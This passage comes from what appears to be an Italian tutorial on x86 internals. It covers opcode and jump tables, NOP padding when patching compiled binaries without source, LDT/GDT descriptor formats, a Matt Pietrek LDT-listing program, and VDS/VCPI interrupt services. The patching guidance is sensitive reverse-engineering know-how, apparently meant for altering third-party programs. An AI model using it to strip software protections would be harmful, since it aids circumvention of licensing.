AA          STOS mb         Store AL to byte [DI], advance DI
AB          STOS mv         Store eAX to word [DI], advance DI
AA          STOSB           Store AL to byte ES:[DI], advance DI
AB          STOSD           Store EAX to dword ES:[DI], advance DI
AB          STOSW           Store AX to word ES:[DI], advance DI
0F 00 /1    STR ew        2 Store Task Register to EA word

2C ib       SUB AL,ib       Subtract immediate byte from AL
2D iv       SUB eAX,iv      Subtract immediate word from eAX
80 /5 ib    SUB eb,ib       Subtract immediate byte from EA byte
28 /r       SUB eb,rb       Subtract byte register from EA byte
83 /5 ib    SUB ev,ib       Subtract immediate byte from EA word
81 /5 iv    SUB ev,iv       Subtract immediate word from EA word
29 /r       SUB ev,rv       Subtract word register from EA word
2A /r       SUB rb,eb       Subtract EA byte from byte register
2B /r       SUB rv,ev       Subtract EA word from word register
```

```
0F 22      SUB4S         N Sub CL nibbles BCD, DS:SI - ES:DI (CL even,NZ)

A8 ib      TEST AL,ib      AND immediate byte into AL for flags only
A9 iv      TEST eAX,iv     AND immediate word into eAX for flags only
F6 /0 ib   TEST eb,ib      AND immediate byte into EA byte for flags only
84 /r      TEST eb,rb      AND byte register into EA byte for flags only
F7 /0 iv   TEST ev,iv      AND immediate word into EA word for flags only
85 /r      TEST ev,rv      AND word register into EA word for flags only
84 /r      TEST rb,eb      AND EA byte into byte register for flags only
85 /r      TEST rv,ev      AND EA word into word register for flags only

0F 10/0    TESTBIT eb,CL N Test bit CL of eb, set Z flag
0F 11/0    TESTBIT ev,CL N Test bit CL of ew, set Z flag
0F 18/0 ib TESTBIT eb,ib N Test bit ib of eb, set Z flag
0F 19/0 ib TESTBIT ew,ib N Test bit ib of ew, set Z flag

0F 00 /4   VERR ew       2 Set ZF=1 if segment can be read, selector ew
0F 00 /5   VERW ew       2 Set ZF=1 if segment can be written to, selector ew
9B         WAIT            Wait until BUSY pin is inactive (HIGH)
0F 09      WBINVD        4 Write Back and Invalidate the Data Cache
0F 30      WRMSR         5 Write EDXEAX to Model Specific Reg #ECX
0F C0 /r   XADD eb,rb    4 Exchange eb with rb then add into new eb
0F C1 /r   XADD ev,rv    4 Exchange ev with rv then add into new ev

9r         XCHG eAX,rv     Exchange word register with eAX
86 /r      XCHG eb,rb      Exchange byte register with EA byte
87 /r      XCHG ev,rv      Exchange word register with EA word
86 /r      XCHG rb,eb      Exchange EA byte with byte register
9r         XCHG rv,eAX     Exchange  with word register
87 /r      XCHG rv,ev      Exchange EA word with word register

D7         XLAT mb         Set AL to memory byte [BX + unsigned AL]
D7         XLATB           Set AL to memory byte DS:[BX + unsigned AL]
34 ib      XOR AL,ib       Exclusive-OR immediate byte into AL
35 iv      XOR eAX,iv      Exclusive-OR immediate word into eAX
80 /6 ib   XOR eb,ib       Exclusive-OR immediate byte into EA byte
30 /r      XOR eb,rb       Exclusive-OR byte register into EA byte
83 /6 ib   XOR ev,ib       Exclusive-OR immediate byte into EA word
81 /6 iv   XOR ev,iv       Exclusive-OR immediate word into EA word
31 /r      XOR ev,rv       Exclusive-OR word register into EA word
32 /r      XOR rb,eb       Exclusive-OR EA byte into byte register
33 /r      XOR rv,ev       Exclusive-OR EA word into word register
```

Una nota particolare riguarda i codici relativi ai salti a seguito di controlli come ad esempio jne, je ecc.

Jxx - Jump Instructions Table

Mnemonic	Meaning	Jump Condition
JA	Jump if Above	CF=0 and ZF=0
JAE	Jump if Above or Equal	CF=0
JB	Jump if Below	CF=1
JBE	Jump if Below or Equal	CF=1 or ZF=1
JC	Jump if Carry	CF=1
JCXZ	Jump if CX Zero	CX=0
JE	Jump if Equal	ZF=1
JG	Jump if Greater (signed)	ZF=0 and SF=OF
JGE	Jump if Greater or Equal (signed)	SF=OF
JL	Jump if Less (signed)	SF != OF
JLE	Jump if Less or Equal (signed)	ZF=1 or SF != OF
JMP	Unconditional Jump	unconditional
JNA	Jump if Not Above	CF=1 or ZF=1
JNAE	Jump if Not Above or Equal	CF=1
JNB	Jump if Not Below	CF=0
JNBE	Jump if Not Below or Equal	CF=0 and ZF=0
JNC	Jump if Not Carry	CF=0
JNE	Jump if Not Equal	ZF=0
JNG	Jump if Not Greater (signed)	ZF=1 or SF != OF
JNGE	Jump if Not Greater or Equal (signed)	SF != OF

```
  JNL    Jump if Not Less (signed)            SF=OF
  JNLE   Jump if Not Less or Equal (signed)   ZF=0 and SF=OF
  JNO    Jump if Not Overflow (signed)        OF=0
  JNP    Jump if No Parity                    PF=0
  JNS    Jump if Not Signed (signed)          SF=0
  JNZ    Jump if Not Zero                     ZF=0

  JO     Jump if Overflow (signed)            OF=1
  JP     Jump if Parity                       PF=1
  JPE    Jump if Parity Even                  PF=1
  JPO    Jump if Parity Odd                   PF=0
  JS     Jump if Signed (signed)              SF=1
  JZ     Jump if Zero                         ZF=1
                       Clocks                  Size
Operands         808x  286   386   486         Bytes

Jx: jump          16   7+m   7+m    3            2
    no jump        4    3     3     1
Jx  near-label     -    -    7+m    3            4
    no jump        -    -     3     1
- It's a good programming practice to organize code so the
  expected case is executed without a jump since the actual
  jump takes longer to execute than falling through the test.

- see    JCXZ  and  JMP    for their respective timings
```

Bisogna fare un discorso particolare a riguardo di alcune tecniche di riempimento.
Quando disponiamo del codice sorgente eseguiamo la modifica e ricompiliamo tutto.
Nel nostro caso non avremo mai a ddisposizione i sources per cui le modifiche dovremo apportarle a file binari gi compilati.
Nella memoria esistono dati e codici operativi.
Il processore come fa ad interpretare in un modo o nell'altro queste informazioni ?
Quando il processore inizia l'esecuzione del codice i registri CS:IP puntano all'istruzione corrente da eseguire.
Questa viene presa e riconosciuta in base al codice operativo, quelli visti prima.
Ogni istruzione dispone di una lunghezza particolare per cui l'interprete del microcodice, all'interno del processore, aggiorna IP a puntare all'istruzione successiva spostando l'indirizzo precedente di n bytes ovvero quanti erano quelli relativi alla lunghezza dell'istruzione eseguita.
Se noi andiamo a modificare delle istruzioni è possibile che quelle che inseriamo non siano di lunghezza in bytes uguali a quella precedente.
In questo caso tutto il programma andrebbe a farsi benedire in quanto lo sfasamento sarebbe differente.
Facciamo un esempio pratico.
Supponiamo che ci sia un istruzione di lunghezza di due bytes e dopo un'altra di lunghezza x.
Originariamente il processore leggerebbe il codice operativo dell'istruzione , la seguirebbe e successivamente inserirebbe in CS:IP l'indirizzo corrente + 2 bytes (la lunghezza dell'sitruzione eseguita) per cu leggerebbe l'istruzione dopo.
Se noi andiamo a sostituire la prima ed inseriamoun istruzione di un solo byte il processore dopo la lettura e l'esecuzione della prima istruzione cercherebbe di leggere l'istruzione all'indirizzo corrente + 1 byte leggendo qualche codice dovuto alla sporcizia di memoria.
Quando andiamo ad inserire istruzioni di lunghezza non corretta dobbiamo compensare con istruzioni nulle la memoria.
Questa istruzione nulla (NO OPERATION) e' :

NOP   Nessuna operazione   90

Questa è la casistica che capita quando la sostituzione è relativa a codici pi corti rispetto agli originali.
Nel caso in cui invece il codice da inserire sia pi lungo dovremo eseguire delle operazioni di rilocazione.
Vedremo alcune funzioni con i programmi generatori di patch.

Altre note devono essere trattate a riguardo delle differenze tra modo protetto e modo reale.
Esiste una tabella chiamata GDT (Global Descriptor Table) che contiene i descrittori dei segmenti di base.
Questi sono relativi a differenti parti di memoria.
Nelle pagine precedenti avevamo detto che in modo reale i segmenti potevano essere lunghi 64Kbytes.
In modo protetto ogni segmento può essere grosso fino a 4 Gbytes.
Un'altra tabella opzionale, utilizzata per le applicazioni, è chiamata LDT (Local Descriptor Table) e contiene i descrittori dei segmenti.
Un sistema operativo setta le informazioni dentro al GDT e per ogni applicativo setta un LDT che contiene i descrittori dell'applicazione.
In ogni caso LDT è una tabella di descrittori tipo GDT.
Il suo uso è quello di provvedere a task differenti layouts di memoria diversi.
Un'altra tabella è IDT la quale contiene i descrittori degli interrupts.
Questa tabella viene utilizzata per dire al processore dove trovare gli handlers degli interrupts.
IDT contiene una voce per ogni interrupt, come in modo reale, ma il formato di queste voci è totalmente differente.

Il programma che segue riesce sfruttando LDT a mostrare le informazioni sui vari segmenti alloicati dai processi attivi.

```
#include <windows.h>
#include <string.h>



#pragma pack(1)         // Need to make sure this struct is packed all together
// Structure definition laying out the fields of a regular
// (non-system) descriptor.
typedef struct
{
    unsigned short  limit_0_15;
    unsigned short  base_0_15;
    unsigned char   base_16_23;
    unsigned int    accessed    : 1;
    unsigned int    readable    : 1;
    unsigned int    conforming  : 1;
    unsigned int    code_data   : 1;
    unsigned int    app_system  : 1;
    unsigned int    dpl         : 2;
    unsigned int    present     : 1;
    unsigned int    limit_16_19 : 4;
    unsigned int    unused      : 1;
    unsigned int    always_0    : 1;
    unsigned int    seg_16_32   : 1;
    unsigned int    granularity : 1;
    unsigned char   base_24_31;
} DESCRIPTOR;
#pragma pack()          // Revert to default packing

static char MS_DOS_STR[] = "MS-DOS";  // String needed to get DPMI extensions

// Returns a pointer to the LDT alias selector that KRNL386 uses to read
```

```
// and write the LDT with.  This selector comes from the DPMI server
unsigned short GetLDTAlias(void)
{
    unsigned short  LDT_alias;
    unsigned short  (far * dpmiproc)(void);

    // Use INT 2Fh, fn. 168A to get the "DPMI extensions
    // entry point" function pointer
    _asm     mov     si, offset MS_DOS_STR   // DS:SI = "MS-DOS"
    _asm     mov     ax, 168Ah
    _asm     int     2Fh
    _asm     cmp     al, 8Ah
    _asm     je      extensions_not_found

    // The entry point is returned in ES:DI.  Save it
    _asm     mov     word ptr [dpmiproc], di
    _asm     mov     word ptr [dpmiproc+2], es

    // Call the extensions with AX == 0x100.  The LDT alias
    // selector is return in AX.  Carry flag is set on failure.
    _asm     mov     ax, 100h
    LDT_alias = dpmiproc();
    _asm     jc      extensions_not_found;

    return  LDT_alias;

extensions_not_found:   // We get here if something failed
    return  0;
}

void ListNotPresentSelectors(HWND hWndDlg)
{
      DESCRIPTOR FAR * lpDescriptor;
      char szBuffer[260];
      char szFilename[260];
      LPSTR lpszBaseFilename;
      unsigned i, ldtSelectorCount;
      unsigned cCode=0, cData=0;

      // Get a pointer to the start of the LDT
      lpDescriptor = MAKELP(GetLDTAlias(), 0);
      if ( !lpDescriptor )
      {
            MessageBox(hWndDlg, "Unable to find LDT", 0, MB_OK);
            return;
      }

      // The alias selector that allows access to the LDT can have a limit
      // of less than 64K to prevent poking around in the unused upper
      // reaches.  Therefore, we need to figure out how many DESCRIPTOR
      // entries can fit within the limit of the LDT alias
      ldtSelectorCount = (WORD)GetSelectorLimit( SELECTOROF(lpDescriptor) )
                                    / sizeof(DESCRIPTOR);

      // Iterate through each descriptor of the LDT (or at least every selector
      // that we're allowed to look at)
      for ( i=0; i < ldtSelectorCount; i++ )
      {
            // If it's a not present descriptor and at ring 3, do our thing
            if ( !(lpDescriptor->present) && (lpDescriptor->dpl == 3) )
            {
                  // Get the owner's filename.
```

```
                  if ( GetModuleFileName(lpDescriptor->limit_0_15, szFilename,
                                                    sizeof(szFilename)) == 0 )
                  {
                        // GetModuleFileName() failed.  The selector's owner
isn't
                        // an HMODULE, so format a string with the owning PSP
                        wsprintf(szFilename, "allocated by PSP %04X",
                                    lpDescriptor->limit_0_15);
                        lpszBaseFilename = szFilename;
                  }
                  else  // GetModuleFileName() succeeded (owner is an HMODULE)
                  {
                        // search backwards from the end of the string to find
the
                        // final directory separator.  If it's found, bump up
                        // the pointer by one to point directly to the base
filename
                        lpszBaseFilename = _fstrrchr(szFilename, '\\');
                        if ( lpszBaseFilename )
                              lpszBaseFilename++;
                  }

                  // Format the string to go into the listbox:
                  // "Selector code/data OwningFilename"
                  wsprintf(szBuffer, "%04X %s %s", (i * 8) + 7,
                              (LPSTR)(lpDescriptor->code_data ? "CODE" :
"DATA"),
                              (LPSTR)(lpszBaseFilename));


                  // Add the string to the listbox
                  SendDlgItemMessage(hWndDlg, IDL_SELECTORS, LB_ADDSTRING,
                                                0, (LPARAM)(LPSTR)szBuffer);

                  // update our running code/data descriptor totals
                  lpDescriptor->code_data ? cCode++ : cData++;
            }

            lpDescriptor++;         // Advance to the next descriptor
      }

      // Now that we've gone through all the descriptors, spit out the
      // final totals into the text control
      wsprintf(szBuffer, "Code: %u  Data: %u", cCode, cData);
      SendDlgItemMessage(hWndDlg, IDT_TOTALS, WM_SETTEXT,
                                    0, (LPARAM)(LPSTR)szBuffer);
}

BOOL CALLBACK _export NPresentDlgProc(HWND hWndDlg, UINT msg,
                                     WPARAM wParam, LPARAM lParam)
{
    switch ( msg )
    {
        case WM_COMMAND:
                  if ( wParam == IDB_EXIT )
                        EndDialog(hWndDlg, 0);
                  return TRUE;
        case WM_INITDIALOG:
            ListNotPresentSelectors(hWndDlg);
                  return TRUE;
        case WM_CLOSE:
            EndDialog(hWndDlg, 0);
```

```
                 return FALSE;
    }
    return FALSE;
}

int PASCAL WinMain( HANDLE hInstance, HANDLE hPrevInstance,
                    LPSTR lpszCmdLine, int nCmdShow )
{
    DialogBox(hInstance, "NPresentDlg", 0, (DLGPROC)NPresentDlgProc);
    return 0;
}
```

Questo è l file .DEF

```
NAME            NPRESENT
DESCRIPTION     'Program to generate not-present fault'
EXETYPE WINDOWS
CODE PRELOAD MOVEABLE DISCARDABLE
DATA PRELOAD MOVEABLE MULTIPLE
STACKSIZE 5120
HEAPSIZE  5120
```

Il file .RC

```
#include <windows.h>
#include "npresent.h"

NPresentDlg DIALOG 100, 48, 148, 118
STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "NPRESENT - Matt Pietrek 1993"
BEGIN
      LTEXT "Not-Present Ring 3 selectors", -1, 4, 4, 104, 9, WS_CHILD |
WS_VISIBLE | WS_GROUP
      LISTBOX IDL_SELECTORS, 4, 14, 140, 80, LBS_NOTIFY | WS_CHILD | WS_VISIBLE
| WS_BORDER | WS_VSCROLL
      PUSHBUTTON "Exit", IDB_EXIT, 121, 100, 24, 14, WS_CHILD | WS_VISIBLE |
WS_TABSTOP
      LTEXT "", IDT_TOTALS, 4, 103, 104, 8, WS_CHILD | WS_VISIBLE | WS_GROUP
END
```

Ed infine il file .H e .MAK

```
#define IDL_SELECTORS   101
#define IDB_EXIT  102
#define IDT_TOTALS      103

PROJNAME = NPRESENT

$(PROJNAME).exe: $(PROJNAME).obj $(PROJNAME).res
  link /ON:N /A:16 $(PROJNAME).obj, $(PROJNAME), , \
      LIBW.LIB TOOLHELP.LIB SLIBCEW.LIB,$(PROJNAME).def
  RC $(PROJNAME).res $(PROJNAME).exe

$(PROJNAME).obj: $(PROJNAME).c $(PROJNAME).h
  CL /W3 /GAs /G2 /c /Zi $(PROJNAME).c

$(PROJNAME).res: $(PROJNAME).rc
    RC -R -FO $(PROJNAME).res $(PROJNAME).rc
```

Analizzando il programma potreste capire la tecnica che comunque vi sarà più chiara guardando i formati delle seguenti strutture.

Il seguente è un formato di base del descrittore dei segmenti.

Segment Descriptor

```
15   14   13   12   11   10   09   08   07   06   05   04   03   02   01   00
[        Base address 31:24          ]   [G]  [D]  [0] [AVL] [Sg. length 19:16]
[P] [DPL] [DT] [        Type         ]   [        Base address 23:16         ]
[                            Base address 15:00                              ]
[                           Segment length 15:00                             ]
```

Guardate le tabella nelle pagine successive i descrittori usati.
Il descrittore di base di un segmento ha lunghezza 4*16=64 bits.
Al fine di comprendere in modo migliore questa struttura la si può vedere in formato assemblativo.

```
; contains a segment descriptor

struc segment_descriptor
  seg_length0_15  dw    ?     ; low word of the segment length
  base_addr0_15   dw    ?     ; low word of base address
  base_addr16_23  db    ?     ; low byte of high word of base addr.
  flags           db    ?     ; segment type and misc. flags
  access          db    ?     ; highest nibble of segment length
                              ; and access flags
  base_addr24_31  db    ?     ; highest byte of base address
ends segment_descriptor
```

Il descrittore degli interrupts è invece il seguente.

```
15   14   13   12   11   10   09   08   07   06   05   04   03   02   01   00
[                               Offset 31:16                                 ]
[P]  [ DPL ]   [0]  [1]  [1]  [1]  [0]  [0]  [0]  [0]  [0]  [0]  [0]  [0]  [0]
[                              Selector 00:15                                ]
[                               Offset 00:15                                 ]
```

In formato assembler invece :

```
; contains an interrupt descriptor

struc interrupt_descriptor
  offset0_15      dw    ?           ; low word of handler offset
  selector0_15    dw    ?           ; segment selector
  zero_byte db    0                 ; unused in this descriptor format
  flags           db    ?           ; flag-byte
  offset16_31     dw    ?           ; high word of handler offset
ends interrupt_descriptor
```

Il significato dei vari indicatori è il seguente.

G E’ la granularit del segmento
G = 0 1 byte4 di granularit
G = 1 4 K di granularit
Se questo bit è settato si deve moltiplicare per 4096 la lunghezza delo campo nel descrittore per avere la lunghezza reale.

D Dimensione di defualt dell’operando
D = 0 Operando a 16 bits
D = 1 Operando a 32 bits
Le dimensioni di default degli operandi di certe istruzioni speciali quali REP xxx.

AVL Disponibile per il sistema

Questo bit non è usato per i processori 286/386/486.

P Presenza
P = 0 il segmento non è presente
P = 1 il segmento è presente
Con questo bit è possibile implementare un gestore di memoria virtuale. Se un applicazione vuole allocare pi memoria di quanta disponibile, salvate l'ultimo segmento usato su disco, quindi cancellate il bit in P. Il prossimo accesso a questo segmento creer un General Protection Fault. Si intercetta l'errore , si rilegge il segmento e si setta il suo bit P. Il processore testa P solo dopo aver generato il Geneal Protection Fault.

DPL Descriptor Privilege Level.
0 <= DPL <= 3
Il DPL contiene quello definito come Descriptor Privilege Level. Questo ha un range da 0 (privilegio maggiore) a 3 (privilegio minore). Se il processore tenta di accedere ad un segmento con privilegio maggiore di quello da cui è stata generata la chiamata, genera un General Protection Fault.

DT Descriptor Type.
DT = 0 System escriptor (System segment o Gate)
DT = 1 Application descriptor (Data o Code)
Se questo bit è azzerato il descrittore descrive un segmento che disponibile per un software di sistema o per un descrittore di gate.

TYPE Tipo di segmento.
Questi 4 bits descrivono il tipo di segmento.

Bit	**3**	**2**	**1**	**0**	**Type**	**Description**
Name	**T**	**E**	**W**	**A**		
	0	**0**	**0**	**0**	**Data**	**read-only**
	0	**0**	**0**	**1**	**Data**	**read-only, accessed**
	0	**0**	**1**	**0**	**Data**	**read/write**
	0	**0**	**1**	**1**	**Data**	**read/write, accessed**
	0	**1**	**0**	**0**	**Data**	**read-only, expand down**
	0	**1**	**0**	**1**	**Data**	**read-only, exp. down, acc.**
	0	**1**	**1**	**0**	**Data**	**read-write, expansion down**
	0	**1**	**1**	**1**	**Data**	**read-write, exp. down, acc.**
	1	**0**	**0**	**0**	**Code**	**exec-only**
Name	**T**	**C**	**R**	**A**		
	1	**0**	**0**	**1**	**Code**	**exec-only, accessed**
	1	**0**	**1**	**0**	**Code**	**exec-read**
	1	**0**	**1**	**1**	**Code**	**exec-read, accessed**
	1	**1**	**0**	**0**	**Code**	**exec-only, conforming**
	1	**1**	**0**	**1**	**Code**	**exec-only, conf., acc.**
	1	**1**	**1**	**0**	**Code**	**exec-read, conforming**
	1	**1**	**1**	**1**	**Code**	**exec-read, conf., acc.**

Nel prossimo capitolo vedremo un tabella con tutti gli interrupts.
Qui a seguito riporto gli interrupts e i servizi legati al modo protetto.

Error codes:

01h region not in contigous memory
02h region crossed a physical alignment boundary
03h unable to lock pages
04h no buffer available
05h region too large for buffer
06h buffer currently in use
07h invalid memory region

08h   region wasn't locked
09h   number of physical pages greater than table length
0ah   invalid buffer ID
0bh   copy out of buffer range
0ch   invalid DMA channel number
0dh   disable count overflow
0eh   disable count underflow
0fh   function not supported
10h   reserved flag bits set in DX

(DMA Descriptor Structure - DDS).
Format as following:

Offset	Bytes	Meaning
00h	4	size of region
04h	4	region offset
08h	2	region segment
0ah	2	buffer ID
0ch	4	linear address

Alcune fnzioni usano un formato esteso (EDDS):

Offset	Bytes	Meaning
00h	4	size of region
04h	4	region offset
08h	2	region segment
0ah	2	reserved
0ch	2	number available
0eh	2	number used
10h	4	linear address (region 0)
14h	4	size in bytes (region 0)
18h	4	linear address (region 1)
1ch	4	size in bytes (region 1)
	.	
	.	
	.	

If there are page tables contained, the following structure applies:

Offset	Bytes	Meaning
00h	4	size of region
04h	4	region offset
08h	2	region segment
0ah	2	reserved
0ch	2	number available
0eh	2	number used
10h	4	Page Table Entry 0
14h	4	Page Table Entry 1
	.	
	.	
	.	

Bits 1-12 of a Page Table Entry should be cleared. Bit 0 has to be set if the page is present and locked.

Func: VDS Get Version (AX=8102h)
Call: INT 4Bh
Input: AX=8102h
      DX=0
Return: CY=1 - error
      AL=error code

CF=0 - ok
AH=major version number
AL=minor version number
BX=product number
CX=revision number
DX=flags
SI:DI=buffer size
Notes: Flag bits in DX:
Bit Meaning
0 PC/XT Bus System (1Mb addressable)
1 physical buffer/remap region in 1st Mb
2 automatic remap enabled
3 all memory physically contigous
4-15 reserved
SI:DI contains maximal size of DMA buffer.

Func: VDS Lock DMA Region (AX=8103h)
Call: INT 4Bh
Input: AX=8103h
DX=Flags
ES:SI=DMA Descriptor
Return: CY=1 - error
AL=error code
CY=0 - ok
Notes: DX is used as flag register to control the operation.
Bit Meaning
0 reserved (cleared)
1 copy data to buffer (ignored if bit 2 set)
2 don't allocate buffer if region not contigous or
exceeds physical boundaries (bit 4,5)
3 don't try to automatically remap
4 region must not exceed 64kb
5 region must not exceed 128kb
6-15 reserved (cleared)
Region Size Field in DDS contains size of maximal contigous memory
area. If Carry Flag is clear, area is locked and may not be swapped.
Physical Address and Buffer ID are filled by the function. If Buffer ID
is 0, no buffer has been allocated.

Func: VDS Unlock DMA Region (AX=8104h)
Call: INT 4Bh
Input: AX=8104h
DX=flags
ES:DI=DMA Descriptor
Return: CY=1 - error
AL=error code
CY=0 - ok
Notes: Flag bits in DX:
Bit Meaning
0 reserved (cleared)
1 Copy data from buffer
2-15 reserved (cleared)
Region Size, Physical Address and Buffer ID in DDS have to be filled.

Func: VDS Scatter/Gather Lock Region (AX=8105h)
Call: INT 4Bh
Input: AX=8105h
BX=page offset (not sure about it)
DX=flags
ES:DI=DMA Descriptor

Return: CY=1 - error
AL=error code
CY=0 - ok
Notes: Function is used to lock parts of memory. Useful if parts of memory are swapped out.
Flag bits in DX:

Bit	Meaning
0-5	reserved (cleared)
6	return EDDS with page table entries
7	only lock existing pages, fill not existing pages with 0
8-15	reserved (cleared)

Region Size, Linear Segment, Linear Offset and Number Available have to be set. Region Size Field in EDDS will be filled with size of largest contigous memory block. Number Used will be filled with the number of used pages. If bit 6 in DX is set, lower 12 bits of BX should contain offset of first page (not sure about that).

Func: VDS Scatter/Gather Unlock Region (AX=8106h)
Call: INT 4Bh
Input: AX=8106h
DX=Flags
ES:DI=DMA Descriptor
Return: CY=1 - error
AL=error code
CY=0 - ok
Notes: Flag bits in DX:

Bit	Meaning
0-5	reserved (cleared)
6	EDDS contains page table entries
7	EDDS may contain not present pages
8-15	reserved (cleared)

ES:DI contains EDDS initialised by function 8105h.

Func: VDS Request DMA Buffer (AX=8107h)
Call: INT 4Bh
Input: AX=8107h
DX=Flags
ES:DI=DMA Descriptor
Return: CY=1 - error
AL=error code
CY=0 - ok
Notes: Flag bits in DX:

Bit	Meaning
0	reserved (cleared)
1	Copy data to buffer
2-15	reserved (cleared)

ES:DI contains pointer to DDS. Region Size has to be filled. If bit 1 in DX is set, Region Offset and Region Segment have to be filled, too. Function returns Physical Address, Buffer ID and Region Size.

Func: VDS Release DMA Buffer (AX=8108h)
Call: INT 4Bh
Input: AX=8108h
DX=flags
ES:DI=DMA Descriptor
Return: CY=1 - error
AL=error code
CY=0 - ok
Notes: Flag bits in DX:

Bit   Meaning
0   reserved (cleared)
1   copy data from buffer
2-15 reserved (cleared)

Buffer ID in DDS has to filled. If bit 1 in DX is set, Region Size, Region Offset and Region Segment have to be initialised, too.

Func: VDS Copy into DMA Buffer (AX=8109h)
Call: INT 4Bh

Input: AX=8109h
DX=0
ES:DI=DMA Descriptor
BX:CX=offset

Return: CY=1 - error
AL=error code
CY=0 - ok

Notes: BX:CX contains offset into DMA Buffer. ES:DI contains pointer to DDS.
Buffer ID, Region Offset, Region Segment and Region Size have to be initialised.

Func: VDS Copy out of DMA Buffer (AX=810ah)
Call: INT 4Bh

Input: AX=810ah
DX=0
ES:DI=DMA Descriptor
BX:CX=offset

Return: CY=1 - error
AL=error code
CY=0 - ok

Notes: BX:CX contains offset into DMA Buffer. ES:DI contains pointer to DDS.
Buffer ID, Region Offset, Region Segment and Region Size have to be initialised.

Func: VDS Disable DMA Translation (AX=810bh)
Call: INT 4Bh

Input: AX=810bh
DX=0
BX=DMA channel

Return: CY=1 - error
AL=error code
CY=0 - ok

Notes: Function stops DMA transfer on channel BX.

Func: VDS Enable DMA Translation (AX=810ch)
Call: INT 4Bh

Input: AX=810ch
DX=0
BX=DMA channel

Return: CY=1 - error
AL=error code
CY=0 - ok

Notes: Function starts DMA transfer on channel BX.

VIRTUAL CONTROL PROGRAM INTERFACE (VCPI)

Il VCPI è il metodo sandard pe la gestione della memoria in modo protetto.

La comunicazione tra l’interfaccia e l’applicazone è suddivisa in Server e Client.
Il programma che gestisce l’interfaccia è visto come Server mentre l’applicazione come Client.
Per chiamare il server ci sono due metodi: in modo reale ci si può servire dell’interrupt 67H mentre in modo protetto bisogna eseguire delle CALL FAR.
Qui a seguito sono riportati i servizi dell’ int 67H.

Func: VCPI Installation Check (INT 67h, AX=DE00h)
Call: INT 67h
Input: AX=DE00h
Return: AH=0 - VCPI is available
BH=major version number
BL=minor version number
AH!=0 - VCPI not available
Notes: Some docs say that AH=84h on return if VCPI isn't available, but EMM is enabled.

Func: VCPI Get Protected Mode Interface (INT 67h, AX=DE01h)
Call: INT 67h
Input: AX=DE01h
DS:SI=pointer to descriptors
ES:DI=pointer to client pages
Return: AH=0 - ok
DI=pointer into page directory
EBX=offset of entry point
AH!=0 - error
Notes: To call the Server in Protected Mode, you have to use the returned address. The memory at DS:SI has to have enough space for three GDT Descriptors, the first descriptor will be filled with the VCPI code segment. Use a FAR CALL into this segment, offset EBX, to reach the Server dispatcher. The space has to be in the first page in the applications code segment. ES:DI has to contain a pointer to a list of pages used by the Client. In DI, a pointer to the first unused page is returned.

Func: VCPI Get Maximum Physical Memory (INT 67h, AX=DE02h)
Call: INT 67h
Input: AX=DE02h
Return: AH=0 - ok
EDX=page address
AH!= - error
Notes: EDX contains the address of the highest 4kb page in memory. The lowest
12 bits are set to zero. Some Clients are using this call to initialize their data structures.

Func: VCPI Get Number of Free 4K Pages (INT 67h / CALL FAR, AX=DE03h)
Call: INT 67h / CALL FAR
Input: AX=DE03h
Return: AH=0 - ok
EDX=number of free pages
AH!=0 - error
Notes: The call returns the number of free pages that are available for all tasks. This function is available in Protected Mode, too. (CALL FAR...)

Func: VCPI Allocate a 4K Page (INT 67h / CALL FAR, AX=DE04h)
Call: INT 67h / CALL FAR
Input: AX=DE04h

Return: AH=0 - ok
      EDX=page address
      AH!=0 - error
Notes: The function allocates a 4K page for the Client. The lowest 12 bits of
      EDX are set to 0. This function is available in Protected Mode, too.

Func: VCPI Free a 4K Page (INT 67h / CALL FAR, AX=DE05h)
Call: INT 67h / CALL FAR
Input: AX=DE05h
      EDX=page address
Return: AH=0 - ok
      AH!=0 - error
Notes: The page has to be allocated by function DE04h. The lowest 12 bits of
      EDX are set to 0. This function is available in Protected Mode, too.

Func: VCPI Get Physical Address of Page in First MB (INT 67h, AX=DE06h)
Call: INT 67h
Input: AX=DE06h
      CX=page number
Return: AH=0 - ok
      EDX=page address
      AH!=0
Notes: The function returns the address of a page in the first MB. The lowest
      12 bits of EDX are set to zero. The page number in CX is the address of
      the page SHL 12. (This is written in my VCPI docs, but quite illogical,
      because then there are only the 4 highest bits available for the page
      number)

Func: VCPI Read CR0 (INT 67, AX=DE07h)
Call: INT 67h
Input: AX=DE07h
Return: AH=0 - ok
      EBX=CR0
      AH!=0 - error
Notes: The function returns CR0 in EBX because MOV xxx,CR0 isn't allowed in
      V86 Mode. However, EMM386 and QEMM simulate this instruction and you
      don't have to use an interrupt call.

Func: VCPI Read Debug Register (INT 67h, AX=DE08h)
Call: INT 67h
Input: AX=DE08h
      ES:DI=pointer to buffer
Return: AH=0 - ok
      AH!=0 - error
Notes: ES:DI has to provide enough space for 8 entries, every entry has a size
      of 4 bytes. The function stores DR0, DR1, ..., DR7. DR4 and DR5 are
      unused.

Func: VCPI Set Debug Register (INT 67h, AX=DE09h)
Call: INT 67h
Input: AX=DE09h
      ES:DI=pointer to buffer
Return: AH=0 - ok
      AH!=0 - error

Notes: ES:DI has to point to a table with 8 entries, every entry has a size of
      4 bytes. The function loads DR0, DR1, ..., DR7. DR4 and DR5 are unused.

Func: VCPI Get 8259 Interrupt Vector Mappings (INT 67h, AX=DE0Ah)
Call: INT 67h

Input: AX=DE0Ah
Return: AH=0 - ok
      BX=1st PIC Vector Map
      CX=2nd PIC Vector Map
      AH!=0 - error
Notes: The Server returns the mapping from the Master PIC in BX (start of
      first 8 hardware IRQs) and the mapping from the Slave PIC in CX (start
      of next 8 hardware IRQs). If there's no Slave PIC installed, CX is
      undefined.

Func: VCPI Set 8259 Interrupt Mappings (INT 67h, AX=DE0Bh)
Call: INT 67h

Input: AX=DE0Bh
      BX=1st PIC Vector Map
      CX=2nd PIC Vector Map
Return: AH=0 - ok
      AH!=0 - error
Notes: Master PIC is programmed with BX, Slave PIC is programmed with CX.
      Interrupts have to be disabled before calling this function.

Func: VCPI Switch to Protected Mode (INT 67h, AX=DE0Ch)
Call: INT 67h

Input: AX=DE0Ch
      ESI=pointer to data structure
Return: AH=0 - ok
      AH!=0 - error
Notes: The data structure has to be setup by the Client in the first MB. ESI
      has to contain the linear address of it. Structure as follows:

Offset		Bytes Meaning
00h	4	new value for CR3
04h	4	linear address in first MB of value for GDT register (6 bytes)
08h	4	linear address in first MB of value for IDT register (6 bytes)
0Ch	2	selector for LDT register
0Eh	2	selector for Task Register
10h	4	EIP of Protected Mode entry point
14h	2	CS of Protected Mode entry point

      The function loads GDTR, IDTR, LDTR and TR. SS:ESP has to point to a
